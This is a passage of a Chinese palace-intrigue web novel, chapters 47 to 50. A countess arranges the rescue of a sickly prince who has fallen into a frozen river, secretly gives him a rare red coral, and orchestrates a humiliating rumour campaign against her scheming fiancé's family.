《兼祧两房害我命?送你全家火葬场》 第47章 小王爷,本郡主命令你不许早死 声音焦急,穿透力十足,把梅树上的雪花都震得簌簌落下。 王巍去搀扶傅璋,梁幼仪迅速把那枚珠子捡起来,握在掌心,趴在栏杆上往下看。 梅林的那条河里,有一个黑色的影子一上一下地浮动挣扎。 顾锦颜说道:“我怎么听到小王爷落水了?” 子听看向千秋阁,只见梁幼仪站在栏杆前张望,他又大喊一声:“小王爷落水了,小王爷落水了......” 真的是凤阙掉河里了! 这可不得了,数九寒天掉河里,凤阙那个病弱身板,一命呜呼都有可能。 “我们去看看。”梁幼仪说着,同她们急匆匆下楼。 二楼的那一大群纨绔都跑了出去。 顾若虚、姬染、程梓荣等人都是边跑边脱衣衫,准备下河救人。 傅璋失去了与梁幼仪说话的机会,气得心道:淹死才好! 王巍把他扶起来,他疼得“啊”一声痛呼。 “相爷,您......”王巍轻轻捏了一下他的双臂,傅璋再次痛得面目狰狞。 “相爷,您,双臂可能骨折了!” “快,带我去找,找太医。” 听到凤阙落水,他心里痛快了一些,那个病秧子,这样寒冷的天落水,不死也要去大半条命! 好,好得很。 梁幼仪与顾锦颜、叶幽弦匆匆下楼,在半道刚好遇见傅老夫人一行人。 “齐王是病秧子,看来凶多吉少了!” “这么冷的天,谁会下去救他?” “齐王府就剩下个空壳了,救他就是与太后娘娘作对,谁会这么没眼色救他?” ...... 梁幼仪看了看说话的人,是姚素衣,脸上带着幸灾乐祸。 别人倒霉就显不着她了? “谁跟你们说齐王与太后娘娘不对付了?太后的名声就是被你们这种小人败坏的!” 梁幼仪冷漠地说道,“齐王府再不济,也救了你们的祖宗,不是你们能随意置喙的。” 大理寺少卿蔺夫人和女儿蔺怀夕也在落井下石,母女俩看着梁幼仪看过来,十分不满。 蔺怀夕道:“郡主看我们做什么?我们可不会救人。” 蔺夫人也挑衅地说:“郡主不必攀扯我们,我们是女眷,不方便救人。郡主也是女子,应该能理解。” 顾锦颜真是被气笑了:“多大的脸,郡主指望你们?你们很俊吗?” “王爷落水,你们还跟着幸灾乐祸?要是太后娘娘知道你们这样妄自揣测圣意,说不得治你们全家的罪!”叶幽弦跟着谴责,“想当出头檩子,也要掂量掂量家人的前程。” 梁幼仪根本不屑与她们争,她知道,这宫里无数的人等着凤家绝后。 无数的人等着凤阙陨落。 今天小王爷的落水,说不得就有太后的手笔。 皇室侍卫离此处有些距离,一时也过不来,甚至,就算园子里有人,他们,也不一定会救凤阙! 如果她下去救人,河里淹不死她,但是定国公府的井里能淹死她! 眼下,北方人会游泳的并不多,更何况还是数九寒天。 唯有那些纨绔,扑通扑通,小青蛙一样,都跳下了水。可惜有救凤阙之心,却能力欠缺,下水后自己先不行了。 梁幼仪想到梦中那一世,凤阙残破之躯,二十一岁死在战场,每一刻在水里的浸泡,都会加速悲剧变现。 什么都顾不得了,梁幼仪喊道:“叠锦,快下去救他。” 叠锦是她原先从江南带来的侍卫,水性极好,冬天经常砸开冰冬泳,他下去救人,成算很大。 又吩咐芳苓:“快去,把我马车上的狐皮毯子拿来给他。” 等待皇家侍卫过来时,叠锦已经把凤阙捞出来,背进千秋阁的暖阁里。 路过梁幼仪身边时,她看见他长长的睫毛,鸦羽一般,在眼下落了一道弧线,脸色苍白,头发湿漉漉的。 因为太冷,他的头发已经有些冻住。 他的贴身侍卫把车上的备用棉衣给他拿来一套,不多会儿,芳苓把梁幼仪用来护住膝盖的狐皮毯子也抱来了。 凤阙换了干衣,裹上毯子,宫里的太医也过来了。 梁幼仪没跟上去,男女有别。只希望他能顺利熬过去,多活几年。 叠锦也没闲着,又跳下河,把顾若虚、姬染等人拉上岸来。一个个冻得哆哆嗦嗦,还着急地问:“小王爷怎么样?要不要紧?” 气得顾锦颜对二哥说道:“你们没能力,还逞强,救人不成,还要劳烦郡主派人救你们。” 顾若虚冻得哆哆嗦嗦地说:“谢,谢郡主......下水,下水腿就抽筋......” “顾二哥别说话了,赶紧也去找太医医治。” 太医给凤阙诊治好,出来的时候,梁幼仪问了太医。 太医道:“王爷身体根基不好,又受了寒气侵袭,要根治很难,药里缺少一味安神镇惊的圣物。” “缺什么?” “红珊瑚。它能调节人体内血气运转,还能除宿血、续断骨,使人从根本上吉祥顺遂。无镶嵌的红珊瑚挂坠、手串等等,更是活血保健的最佳圣品。若能常年佩戴,定然大有裨益。” “千年红珊瑚行吗?” 太医一听就眼睛亮了:“千年红珊瑚?那可太行了,那可是灵物。若有千年红珊瑚,别说能断了咳疾的根,常常佩戴,还可能延年益寿。” 梁幼仪忍不住轻轻咳了一下,凤阙才十九吧?已经开始用延年益寿这个词了。 傅老夫人和姚素衣看到梁幼仪为了救凤阙,不仅派自己侍卫下去救人,还把自己的狐皮毯子也拿出去,很不高兴。 “郡主,你怎么把自己用的毯子让给男人用?” “用了如何?” “你这样做让璋儿怎么想?” “那又如何?” “你一个未嫁的闺阁女儿家,不顾未婚夫的面子,大庭广众之下,把自己的贴身物品给别的男人用,你的礼义廉耻呢?” “关你何事!”梁幼仪大义凛然地说道,“太后娘娘体恤万民,更何况是大陈功臣凤家?你不想本郡主救人,是想陷太后娘娘于不义吗?” 傅老夫人扯头花很行,但是扯到家国大义,她听都听不懂,哪里怼得过? 蔺夫人站出来,说道:“郡主未免太过分了些,傅老夫人不过是觉得你把贴身之物给了其他男子不合规矩,她又是你未来的婆婆,说你几句,你何苦拿这样大的帽子压她?” 顾锦颜冷笑道:“依着蔺夫人的意思,最好我们都见死不救,回头满京城传谣言,说齐王在宫中溺水而亡,你是想叫全大陈都戳太后娘娘和陛下的脊梁骨吗?” “就是,郡主是太后的娘家人,定国公府的家风就是为国为民,高风亮节。噢,我懂了,你想叫别人都以为齐王落水,是太后娘娘故意不救,活活淹死的对吧?” 叶幽弦也不饶人,她与顾锦颜、梁幼仪是多年的好朋友,前两者一说话,她立即找到重点—— 救小王爷必须和家国大义,和太后的施政扯上。 不然,不仅被这帮女人用女子德行讨伐,说不得幼幼回去还会被国公府责罚。 如果幼幼是为了朝堂救人,为了太后的名声救人,那就完全是另外一回事了,不仅无过,还会有功。 蔺夫人顿时急了:“我们没有那个意思,你们不要净胡说歪理!” “蔺夫人,你信不信,郡主今天救人,太后一定会嘉奖,而你这见死不救的小人,一定会被处罚?” 顾锦颜道,“明日我便叫我公公弹劾蔺大人,家风不正!” “你,世子夫人,你误会了!”蔺夫人顿时有些慌神了,她不过是帮着傅老夫人出个头,怎么就上升到男人被弹劾了? 蔺怀夕站出来,气愤地说:“世子夫人、郡主、谢夫人(叶幽弦),你们也不必合伙挤兑我母亲,郡主是丞相的未婚妻,救人是好事,但是把贴身物品拿出去,就是不尊重丞相。” 梁幼仪淡淡地看着她:“蔺怀夕,你能代表丞相?他和你这么亲近,心里想法都告诉你?他叫你来为难本郡主的?” “你,你胡说什么?”一边说一边偷偷缩到蔺夫人身后去了。 梁幼仪懂了,又一个傅璋的爱慕者。 是啊,傅璋多次三级跳,相貌堂堂,平时摆出一副“清冷君子”的形象,后院又“干净”得很,不知情的贵女,不知道加了多少分好感。 下次的两千石细粮,她找到买家了...... 蔺夫人看着是占不到好处了,傅老夫人立不起来,她再强出头,蔺大人恐怕真要官途受阻,也趁机与蔺怀夕移步人群后面。 傅老夫人又站在面对梁幼仪的正前方。 她硬着头皮对梁幼仪说:“亏得丞相还一直叮嘱老身要对你好一些,你就这么对待我?” “谁给你的权力,在本郡主面前自称我?”梁幼仪本就冷漠的脸,更是没有一丝笑容,喝道,“见了本郡主为何不行礼?” “你……” 傅老夫人和姚素衣目瞪口呆,现场那么多夫人看着,准婆婆给准儿媳行礼? “跪下!”梁幼仪声音淡而威严。 顾锦颜站在旁边,世子妃的威仪拉满,训斥道:“丞相作为百官之首,最应懂得礼别尊卑。云裳郡主乃先帝亲封的从一品郡主,你不行礼,是想与皇家作对吗?” 傅老夫人和姚素衣无可奈何,脸皮青紫,只好行了礼。 梁幼仪轻哼一声,根本不搭理她们满脸的委屈和愤懑,带人施施然去了。 走远些,对芳苓说:“让叠锦通知红袖,姚素衣母女的肚兜和亵裤可以出手了,记住,声势越大越好,务必传得满城皆知。” 第48章 云裳初入齐王府 官家女眷是最懂人情世故的,看梁幼仪毫不留情地下傅老夫人和姚素衣脸面,马上不动声色都找借口离开了。 这一切被远处的傅璋尽收眼底。 “相爷,我们不过去给老夫人和姚娘子撑腰吗?” “不必!她们不听本相忠告,一而再再而三地上赶着做跳梁小丑,被郡主立规矩,那就受着吧!”傅璋咬牙切齿。 “刚才老夫人和大夫人答应给那些夫人送梅影流香,一下子许出去四十多瓶,还要郡主做百八十瓶……” “百八十瓶?她真敢许!” 两人远远地看着梁幼仪给傅老夫人和姚素衣做规矩,脚下钉住没动。 傅璋费侍卫。 赵虎上次被灭口了,张龙今天也被灭口了。 他现在身边的王巍,是太后赏赐的大内高手。 “相爷,老夫人和姚夫人其实不适合多出现在贵人圈子,她们这样不仅不能帮助相爷,还会拖后腿。” 在宫里混久了,王巍见多识广,真心提了建议。 傅璋没说话,他有得选吗? 母亲和嫂嫂不知道,梅影流香有多受追捧。拍卖出去,一瓶价值至少千两银子。 过去,他从梁幼仪那里拿了香露,赠送同僚,可如今…… 他才意识到,曾经让他饥寒交迫的银钱,如今依旧轻而易举地扼住他骄傲的喉咙。 他贪墨的银子,都是提着脑袋,挖空心思贪来的,花每一两银子,都思忖着被人发现了该怎么合理地解释? 但是,梁幼仪的银子,他花得毫无负担。 梁幼仪酒铺的酒水,长乐公主留给梁幼仪的古董字画宝贝,再加上香露,从没有人提出异议。 一瓶香露千两银子,云裳郡主这些年给他铺了多少路? 这段时日,他才知道云裳郡主对相府有多重要。她只撒手不管,相府就处处受掣肘,一天到晚鸡飞狗跳。 早知道,她连私兵都有了,还有那么多的赚钱铺子,嫂嫂和母亲他应该早早地送回祖籍的。 如今,他哄不好,怕是也没多少时间哄了。 想到她还有五天好活,傅璋忽然心里生出一些愧疚。 回头,他一定要去看望郡主。 * 凤阙落水,梁幼仪再也无心赏梅,看到凤阙被抬着出宫,便与顾锦颜、叶幽弦也出宫回府。 回去路上,她与顾锦颜、叶幽弦道别,拐去麒麟阁。 这次,她没有隐瞒自己的身份,直接去见麒麟阁主简玉珩。 拿出当初委托拍卖的契约,告诉他:“千年红珊瑚,撤拍。” 简玉珩看到幕后真正的卖主竟然现身,便知道对方是真的不想拍卖了。 “红珊瑚我们已经宣扬出去了,好多人都冲着它来竞拍,此时撤拍,对于麒麟阁名声损坏极大。” 最主要的是凤小王爷急需,他已经说了,多少银子都会拍下来。 “多少银子我都不卖,急用于救人。” “可麒麟阁已经承诺出手。” “我愿意再送一幅松青大师的画作,补偿麒麟阁声誉损失。”她承诺道,“画作成交款,松青大师会拿出两成给麒麟阁。” 简玉珩不想要松青大师的画作,他就想要千年红珊瑚。 “简阁主,我要拿红珊瑚去救人。你若执意追究责任,随便!你损失多少我都认赔,只是,以后我们再无合作可能!” 这是通牒! 简玉珩头疼,做最后的努力:“郡主,我那个朋友也是为了救命,我不要多,你哪怕卖一只珊瑚角给我也行?” “我先把东西送去救人,若有剩下,便与他商议赠送麒麟阁一些,若没有剩下,只好抱歉了。” 东西是梁幼仪的,话说到这个份上,简玉珩只好闭嘴。 “郡主要提供松青大师的画作,需要多久?我们要于腊月二十拍卖。” 就是说,连带今天还有五天。 “四天内给你。” 简玉珩:...... “郡主,冒昧问一下,能不能叫松青大师提供一幅庆贺六十大寿的画作?” 梁幼仪略一思索,四天时间,紧张是紧张了,但是她欠麒麟阁一个人情,有难度也要想办法完成。 “行,我尽量。” 梁幼仪急匆匆地抱了千年红珊瑚离去,简玉珩看着她远去的背影,眯了眯眼睛。 松青大师的画是大白菜吗? 他怎么一幅也搞不到? 不是,他怎么觉得云裳郡主不仅与松青大师熟悉,而且还能做他的主呢? 云裳郡主难道和松青大师有特殊关系? 梁幼仪匆匆离开,芳苓道:“郡主,您要把千年红珊瑚送给小王爷?万一被府里听说了怎么办?” “他们并不知道红珊瑚是我的,就算知道,柳南絮如果还想要延胡索,就会想办法保我。 今日在宫里的一番言论,太后为了皇家声誉,面子上绝对不会为难我。” 凤阙她要救,为了他在梦里那一世,以自己陨落战场,保大陈百姓免遭覆国流离之苦;为了他“有事别憋着,我会帮你”…… 她要亲自给凤阙送去红珊瑚,不想假他人之手。 红珊瑚要入药,她好心送去救凤阙,绝对不能在中间出了差错。 就连齐王府,除了老太妃,梁幼仪谁也不信。谁知道齐王府里有多少皇家眼线? 齐王府位于青龙大街,这里路上冷清,府里更冷清。 街口立着牌坊和石碑:文官下轿,武官下马。 她凝望了一会儿那石碑,低垂了眉眼。她不会伤春悲秋,她自己的路荆棘遍地,走得也很艰难。 到齐王府门前,梁幼仪看着那巍峨的门楼,高大的石狮子,以及门口花纹模糊的石鼓,愣了一会子。 在现实里,她从没来过齐王府。 齐王府从来不办集会活动,而且也鲜少参加各种聚会。满门寡妇深居简出,唯一的独苗苗凤阙,还是个随时没命的病秧子。 定国公府与齐王府水火不容,是仇敌,绝对不会邀请她进入王府。 可是,她在梦里,来过。 梦中,傅璋报复辅国公府,有人被买通,说是受齐王府指使,李仲怀才溺死她的儿子。 梁幼仪来了一趟齐王府,看到过老太妃,即凤阙的祖母。老太妃什么都不分辩,只是满怀怜悯地说:“郡主,你也是个苦命人。” …… 收敛回忆,令芳苓拍开门。 齐王府的管家杜衡,是个五十多岁的老头儿,须发皆白,看见她有些诧异。 然而梁幼仪一眼就认出他来,说:“杜伯,我是云裳。” 杜衡迟疑了一下,问道:“你是云裳郡主?” “嗯。我来看望王爷。” “小王爷”是京城人对凤阙的习惯称呼,因为凤家成年男人都死得早,他五岁就成了唯一的承爵人,被人称为小王爷。 后来他正式袭爵,但是大家喊惯了,鲜少叫他齐王,还是叫他小王爷。 杜衡激动地说:“您稍等,我去禀报太妃。今天在宫里多亏郡主派人救王爷,太妃感激不尽呢!” 这老头儿原是老王爷麾下的一名副将,受伤后就在府上做管家,是个直肠子。 梁幼仪扭头对青时说:“把东西抱进来吧。” 千年红珊瑚,已经长成了一棵半人高的珊瑚树,周身赤红,五十斤重,在东洲大陆,独一份。 杜衡不知道他们手里抬的什么,因为用黑布蒙得严严实实。 太妃听杜衡禀报,说云裳郡主亲自来看望凤阙,一时情绪复杂。 最早,凤家曾祖、梁家曾祖、先皇,都是好兄弟,一起打天下的交情,陈国成立后,初代定国公尚了长乐公主,就与先皇绑在一起。 与齐王府渐渐远了。 梁言栀做了太子妃、太后,定国公府倾尽全力扶持梁言栀,彻底与皇家一体,与齐王府水火不容。 凤二夫人,即凤阙的二婶犹豫地说:“定国公府与我们一向不睦,云裳郡主突然登门,难道是太后派来刺探消息的?” 是不是借着救命之恩,来刺探王府? 老太妃说:“不管她来的目的是什么,到底是她救了妄之,我们就要开大门迎接。” 一边准备下人,开中门迎接梁幼仪,一边叫人赶紧去叮嘱凤阙,要装出体弱、昏迷不醒的样子。 梁幼仪在门口没等多久,齐王府的大门打开,老太妃和二夫人以最高规格,亲自把梁幼仪迎进府里。 “多亏郡主今日相救,王府上下,感恩不尽。” 老太妃对定国公府不喜,也极少出门参加聚会,是第一次见到梁幼仪真容。 这一眼,真是把老太妃给惊呆了。 世上怎么会有长得这么美的女子? 明艳不失温柔,妩媚不失庄重,大红披风内一袭长裙,襦裙金线环绕,走动间熠熠生辉。粉白的脸颊如凝脂白玉,眼睛比明月还要水润好看。 整个齐王府都明朗起来,灵动起来。 关键,梁幼仪微微的婴儿肥,天然的嘟嘟嘴,看上去就乖巧得不得了,真是长到老年人的心坎上。 老太妃心里疑惑:梁知年和姜霜她都见过,也没见长多好看,怎么生出来这么美貌的女儿? 第49章 云裳初入齐王府(2) 梁幼仪的规矩,是曾祖母长乐公主请宫里最严厉的嬷嬷教习,在贵女中自是佼佼者。 不卑不亢,进退有度,老太妃对她又多了几分欢喜。 待被迎进正厅,梁幼仪看着眼神警惕的凤二夫人,吩咐青时把红珊瑚放在桌上,都在外面等候。 “太妃、二夫人,晚辈今天过来,是给王爷送一件物事。”她示意老太妃身边的丫鬟把黑布扯开。 黑布扯开,露出里面赤红的红珊瑚。 老太妃识货,顿时惊讶地叫出声来:“红珊瑚?这株年份肯定不短。” 郎中说红珊瑚对凤阙的病极其有利,麒麟阁要出售一株千年红珊瑚,齐王府正筹集现银,准备不惜一切代价拍下来。 梁幼仪道:“这正是麒麟阁那株。今日听太医说红珊瑚对王爷病情有利,麒麟阁欠我一个人情,听说我要救人,便送了我。” 凤二夫人忍不住问道:“这千年红珊瑚价值连城,国公府不会登记入库吗?” 梁幼仪正愁怎么解释送红珊瑚是她的个人行为,凤二夫人问出来,她立即顺坡下驴。 “这是麒麟阁赠送予我的礼物,未曾入国公府,更无需登记入库。因是救人圣品,怕出纰漏,不敢假他人之手,从麒麟阁取了,一刻也没有停,便送王府来了。” 也就是告诉她们,红珊瑚是她梁幼仪自愿送来的,与定国公府无关,定国公府的主子们也都不知道。 而且,怕有人利用红珊瑚行栽赃陷害之事,她才亲自送来。否则,她不会贸然登门。 话说到这个份上,老太妃和凤二夫人再没有别的话,对着梁幼仪施礼感谢,梁幼仪受了她们的礼。 若太过客气,便显得心有谋算。 “郡主既然来了,那就去看一看妄之?” 老太妃看梁幼仪大方,没有一般闺阁女儿的扭捏,便提出来让她去见凤阙。 梁幼仪点头,从善如流地随着她们去凤阙的院子。 院子很大,独立成院,院子门口悬挂一个古朴的草书牌匾——糊涂居。 梁幼仪轻扫了两眼,低眉垂目,紧紧跟着老太妃。 她一进府,凤阙就知道了。 他踏着轻功蹲在主院,听老太妃和二夫人与梁幼仪说话,心情极好。 千年红珊瑚,原来是她的。 她撤拍,原来是送给自己。 小王爷高兴得差点在屋脊上翻个跟斗。 听到她要随祖母来糊涂居看望自己,一溜烟地提前跑回来。 今儿子墨也在。 看他回来,急忙问道:“王爷......” 需要伺候吗? “嘘~” 凤阙快速进了室内,鞋子一甩,掀开被子“嗖”一下钻进去。 又探出头,对子墨说:“快把我鞋子摆整齐,我回来就一直迷糊,还没清醒呢!” 子听抽抽嘴角,回了一声:“是,王爷病着呢,最起码昏迷三天。” 凤阙道:“子听,你想武功再精进一步吗?” “不要!”子听立即说,“王爷,属下错了,您真的昏迷着呢!” 这边才弄好,老太妃就带人进来了。 “郡主您来看王爷了?小人子墨,谢郡主救主子大恩。” 阳光大男孩笑起来,一嘴白牙明晃晃的,还有一颗虎牙,看上去十分可爱。 梁幼仪微微颔首。 老太妃问道:“你主子怎么样了?” “还没好。”子墨秒变苦脸,说道,“王爷一直迷糊,还没清醒呢!” 凤阙的卧室,床幔已经打开,梁幼仪站在他的床前三尺远处,看着他安静地躺在床上。 床前生着火笼,厚厚的被子把他包裹起来,掩住他下半边脸,眼睛闭着,能看出面色依旧苍白。 院子里除了子墨和子听,也没有丫鬟婢女,安静异常。 梁幼仪是女子,不好靠近,便对老太妃说:“小王爷好好养病,有用得着我的,不要客气。” 老太妃和凤二夫人也不好多说,简单看了看凤阙,梁幼仪便要告辞。 子墨笑着向前,行了个大礼道:“云裳郡主,我们王府平时极少人来,甚是冷清,小的拜托郡主多来看望我们王爷一下,” 老太妃皱眉,说道:“子墨,郡主也忙,救命大恩已是难报,你怎么能再提过分的要求?” 子墨扑通跪在地上,说道:“老夫人,小的也是想着郡主心善,陪王爷说说话,病能好得快一些,您看,郡主是王爷的贵人不是吗?” 国师都说了,小王爷命里缺贵人,唯有贵女可解厄。 不待老太妃说什么,梁幼仪认真地说:“好,回头我会再来看望王爷。” 老太妃笑起来,也没拒绝,心里微微有些讶异。 子墨今儿话有点多。 待梁幼仪离开,凤阙立即从床上爬起来,起猛了,咳咳咳的咳嗽起来。 子听急忙给他一杯温热水,说道:“王爷您慢点,您才落水,还是个病人呢!” 子墨跑进来,兴奋地说:“简玉珩说了,云裳郡主拿来的千年红珊瑚,就是麒麟阁那株,拿了就直接送府里来了,中间没有耽搁。” 子听没好气地说:“她送一株千年红珊瑚,还不应该的吗?小王爷为了她,不仅把自己腰带上的极品东珠都摘了砸傅璋,为了郡主还不惜跳到河里……” 为了郡主跳河里?就为了让郡主冒着生命危险救他? 费尽心机欠郡主一个天大的人情? 怪不得子听和主子明明会游水,偏偏被郡主救出来…… 子墨眼睛亮起来,哎,他家王爷不对劲啊! 凤阙:“子听,闭嘴!” “她是定国公府的小姐,谁知道她安的什么心?王爷你别被她美色误了。”子听道,“定国公府,没一个好东西。” “子听,去领三十棍!” 凤阙恼了,子墨示意子听出去,笑着对凤阙说:“属下第一次见云裳郡主,倒是觉得她与定国公府那帮人不同,属下觉得她就是单纯地想救你!” 凤阙说:“你也出去。” 子墨咧着嘴出去了,嘿嘿,王爷耳朵红了! 凤阙又喊了他一声,说:“你去,把那千年红珊瑚搬来给我瞧瞧。” 子墨去了正厅,梁幼仪已经走了,老太妃和二夫人正围着那千年红珊瑚仔细查看。 老太妃说:“王府欠云裳郡主大人情了,按理,应该去定国公府送上一份厚礼,可是她又不让提。” 二夫人说:“儿媳看云裳郡主明显不想国公府知晓此事,怕不是瞒着府里送来的?她到底什么意思?难道这红珊瑚有什么不妥,她不想累及国公府?” 云裳郡主走前再三说“千年红珊瑚是我自愿送给凤小王爷的,与任何人无关,还望齐王府保守秘密”。 联想到两府关系,二夫人这么想也不无道理。 老太妃说:“把柴神医叫来,悄悄看看。” 柴神医是凤阙的贴身郎中,江湖人称柴一针,就算垂危的病人,只要一针,便能活命。 凤阙能活下来,多亏了柴神医。 她们正要叫柴神医,子墨笑嘻嘻地来了,对老太妃说:“太妃,王爷叫小的把千年红珊瑚抬到他院里。” 老太妃说:“你稍微等会儿,我叫柴神医来看看,有什么不妥。” “老太君,不必看了,这红珊瑚真没啥问题。您老人家实在不放心,小的去把徐神医叫来看看?” 徐神医,徐淮凤,江湖第一毒医,擅毒。 制毒、识毒、解毒,天赋异禀。 是妄之的挚友。 老太妃说:“那快去请,柴神医与他若都看过,认定无碍,那就真的妥了。” 子墨去请徐淮凤。 柴神医就在府里,听说有人送来了千年红珊瑚,丢下手里的药杵就跑来了。 当他看见这千年红珊瑚,激动得眼珠子都快掉下来了。 “太妃,这千年红珊瑚,是宁国的镇国之宝,不知道是谁这么大手笔把它带回来了?就冲着这个至宝,那就不可能用毒。” 柴神医说,“若用毒,那可真是暴殄天物,千古罪人。” 凤二夫人说:“柴神医您先检查了再说,王爷不能出任何差错。” 凤阙可是王府唯一的香火了,经不起任何闪失。 柴神医一点点检查,都不敢大动这珊瑚,怕弄坏了。 越看越激动,检查一番,摇头道:“没有任何不妥。” 他已经开始就这珊瑚如何救凤阙,展开了各种计划。 凤阙等了许久也没等来红珊瑚,他就自己起床来了前厅。 老太妃一看他亲自来了,一巴掌拍他背上:“哎哟,小祖宗哎,你不好好躺着,起来干什么?” “把东西送我屋。” “马上就好,徐淮凤来了……” 凤阙脸一拉:“谁让你们喊他来?” “总要检查一下,这东西要入口,还要贴身用。”二夫人说,“定国公府送来的东西……” 凤阙脸色难看地说:“她说与定国公府有关了?” “没有。” “抬我院子去!” 二夫人立即闭嘴。 老太妃笑着说:“搬过去搬过去。你们还不快点给王爷把裘衣披好?” 凤阙看着人把东西搬走,自己也紧跟着走了,走了几步又折返回来,对老太妃说:“以后她送什么,都直接送我院子。” 二夫人:“可她是定国公嫡女。” “那又怎么样?” 我信她! 老太妃:...... 二夫人:...... * 梁幼仪从齐王府出来,芳苓问道:“郡主,回府吗?” 今日在宫中,姜霜把毒药丢了,她会不会又准备了一副砒霜等着郡主? “不知道多少人等着我回府被狠罚!” 梁幼仪看看灰蒙蒙的天空,说,“是福不是祸,是祸躲不过,回府!” 第50章 满街叫卖姚氏母女肚兜和亵裤 梁幼仪问叠锦:“姚素衣和傅桑榆肚兜的事,散播出去了?” “郡主放心吧,红袖能干得很。现在全京城的谣将都动起了。” “去看看!” 梁幼仪把窗帘拉好,手里抱着老太妃新给的一个汤婆子,唇角微微扯动。 傅璋,你不退婚,那么我便叫你一头栽进是非缸里,越染越黑,爬都爬不出来。 傅璋从皇宫出来,都不知道是怎么走出来的。 以往的尾牙宴,他风光万分,今日的尾牙宴,倒像是他的末日一般。 一场宫宴,输得裤衩都没了。 在宫里不仅没有与梁幼仪和好,还被太后逼着去下毒害死郡主,下毒还罢了,竟然在聆音阁查出那样一份消息。 放着那样巨额的财富,眼看着郡主没了,他一点也摸不到,想一想,全身都疼。 是真正的赔了夫人又折兵。 四处奔波,还没有把这一阵子的流言给压下去,又被自己的好儿女再次算计。 费尽心思给最精明的儿子争取来的皇帝伴读,没了。 平白地多了一个平妻,还是被张龙睡过的。还没大婚,他头上已经冒着绿油油的光芒。 原本他与夏致远,就是一个阵营的,根本用不着联姻。 毁了一枚好棋子,被赐一个不洁的女人做平妻,从夏致远的顶头上司,成功变成了他夏致远的晚辈。 他好不容易找到一个单独与梁幼仪和谈的机会,结果,凤阙这个死病秧子捣乱! 早不落水,晚不落水,偏他想在人前抱住梁幼仪,毁了她名节的时候,落水了。 他很愤怒,也很恐慌,一切都渐渐地脱离掌控。 与郡主求和,不知道被谁算计,双臂疼得动都不敢动。 太医检查了他的肩膀,只见两肩都红肿一块,试探着轻轻捏一下,傅璋疼得满头大汗。 太医摇头道:“丞相大人,您两边肩膀都骨折了,好好养几个月吧,不然双臂要废了。” 他又气又怒,派王巍去现场找了许久也没找到蛛丝马迹。 什么狗屁大内侍卫,护个主子都护不住,废物! 等他被太医包扎好,云裳郡主已经出宫了。 宫里赏梅会,文武百官和家眷,陆陆续续出宫,他也不想在宫里待着了,叫王巍驾车,出宫,回府。 主仆才刚出了御街,就听到一群男人边跑边嬉笑着喊道:“哟,你闻闻,这是姚娘子的肚兜吧?” “那算个什么?你瞧瞧,我这个才叫,嘿嘿~~” “哦哟,那不是姚娘子闺女的亵裤吗?你怎么搞来的?给我看看......” “不准抢,我这可是从姚娘子手里花五十文买来的。” 就一会儿功夫,街边站了好大一群看热闹的。 拉拉扯扯,在抢那肚兜和亵裤。 傅璋现在对姚字很敏感。 对王巍说:“把人轰走,谁再挡路,杀。” 王巍从马车前车辕上跳下来,抽出佩剑,大声喝道:“滚!谁敢挡相爷的马车,格杀勿论。” 那群人看看相府的马车,马上大叫:“快跑,相爷来了,他可是姚娘子的小叔子。” “嗷~丞相大人,你嫂嫂在卖肚兜亵裤贴补家用啊!” “别废话了,快跑。” “抓住他们,好好审问!”傅璋听到这些议论,立即大喊。 又有人搞事情,搞到他傅璋头上了!他的相府,现在成了笑话! 他乃大陈丞相,一人之下万人之上,还杀不了这些刁民吗? 傅璋想拉开车帘看看是谁却做不到,他双臂都骨折了,只能垂着。 王巍应了一声,把马车靠边停了,追了上去。 原本他有武功,抓几个街上的楼船军,还是没问题的,但相府马车的马儿,不知道被谁几颗石子击中马蹄,马儿发狂地跑起来。 便有人大喊:“哎,那个大个子,快点,相府的马惊了。” 王巍扭头一看,马儿咴咴发狂地拉着马车乱跑,傅璋在马车里大喊大叫:“王巍,王巍快来。” 王巍只得放弃追赶,迅速往回奔。 等他把惊马制服,那些人早跑得没影了。 只捡到一条对方跑丢的,据说是大小姐傅桑榆的亵裤。 王巍抓住一个慢悠悠回铺子的伙计,问道:“小哥,刚才是怎么回事?有人诋毁相府?” 那伙计只是个看热闹的,倒也不怕,说道:“今儿晌午,在鼓楼那个地方,有人出售肚兜和亵裤,说是相爷嫂嫂和侄女的,叫大家欣赏,花一文钱闻一闻,花两文钱可以摸一摸,五十文可以买回家一条。” 这些拉扯想象力的虎狼之辞,别说傅璋,王巍都觉得脸臊得慌。 “是谁在卖?他们哪里来的?” 他语气凶狠,店铺的掌柜对王巍说:“他好心回答你,你凶他做什么?相府卖肚兜还债,在全京城都传遍了,谁不知道啊?” 王巍拔出剑:“你要敢胡说八道,我杀了你。” 那掌柜的也是气极了,说道:“乡亲们,大家都来评评理,他来问我伙计肚兜和亵裤的事,伙计不过是好心回答他,他就要杀人!” 路人就劝说王巍:“小哥,你真不要冤枉掌柜的,我们一大早开门做生意,谁去管你们的亵裤亵衣?” “展览姚娘子亵衣亵裤的人说了,相府的姚娘子看上他了,说男人死了好久,想带着女儿改嫁......你也别发怒,咱们也不知道真假,不过是给你转个话。” 是真不能再在大街上问话了。 大街上围观的百姓眼睛亮闪闪的,没啥事也都生出来一堆桃色八卦。 王巍松了手,回到马车那边。 “相爷,属下无能,那些人都跑了,属下建议相爷赶紧离开。”他声音低下来,把那条追回的亵裤从车帘里递进去。 是一条,小姑娘的亵裤。 实在是,烫手啊! 傅璋并不清楚这亵裤是不是傅桑榆的,他虽然是傅桑榆的亲爹,但是男女有别,女儿已经马上九岁了,他怎么会知道女儿的亵裤? 傅璋的头嗡嗡直响,有气无力地说道:“回府。” 街上人刚才被惊马吓得魂不附体,这会儿死里逃生,非常生气,冲着马车抱怨道:“差点被你家马蹄子踩死,你们连一声道歉都没有?” 傅璋很想看看到底是谁算计他,可惜伤势加重,根本无力开窗。 刚才马儿受惊他本能地想双手扶住车壁,却使不上力,脑袋随着车厢颠簸,撞了好几次,头上好几处都破了。 不能再在这里待下去了,天知道还会发生什么。 他知道有人算计相府。 没这么巧的事,刚好百官的马车从御街过来,这些人刚好在这里争抢售卖嫂嫂和榆儿的贴身衣物。 只是,亵裤、肚兜,这样隐秘的东西,怎么跑到外面去的? 这些人说得如此肯定,难道真是嫂嫂和榆儿的? 他的马车狼狈而去,街上楼船军在傅璋走后,又聚拢过来。 极尽渲染,甚至和姚娘子眉来眼去的故事都有了。 着实让其他府的家眷吃了一场大瓜。 不过这些人很警惕,吵吵一阵子,看见定国公府的马车过来,喊几嗓子,便鸟兽散。 姚素衣、傅桑榆、相府名誉破坏殆尽。 相府。 王巍把傅璋从车里背下来,傅老夫人看见他伤这么严重,马上想到:太后打璋儿了? 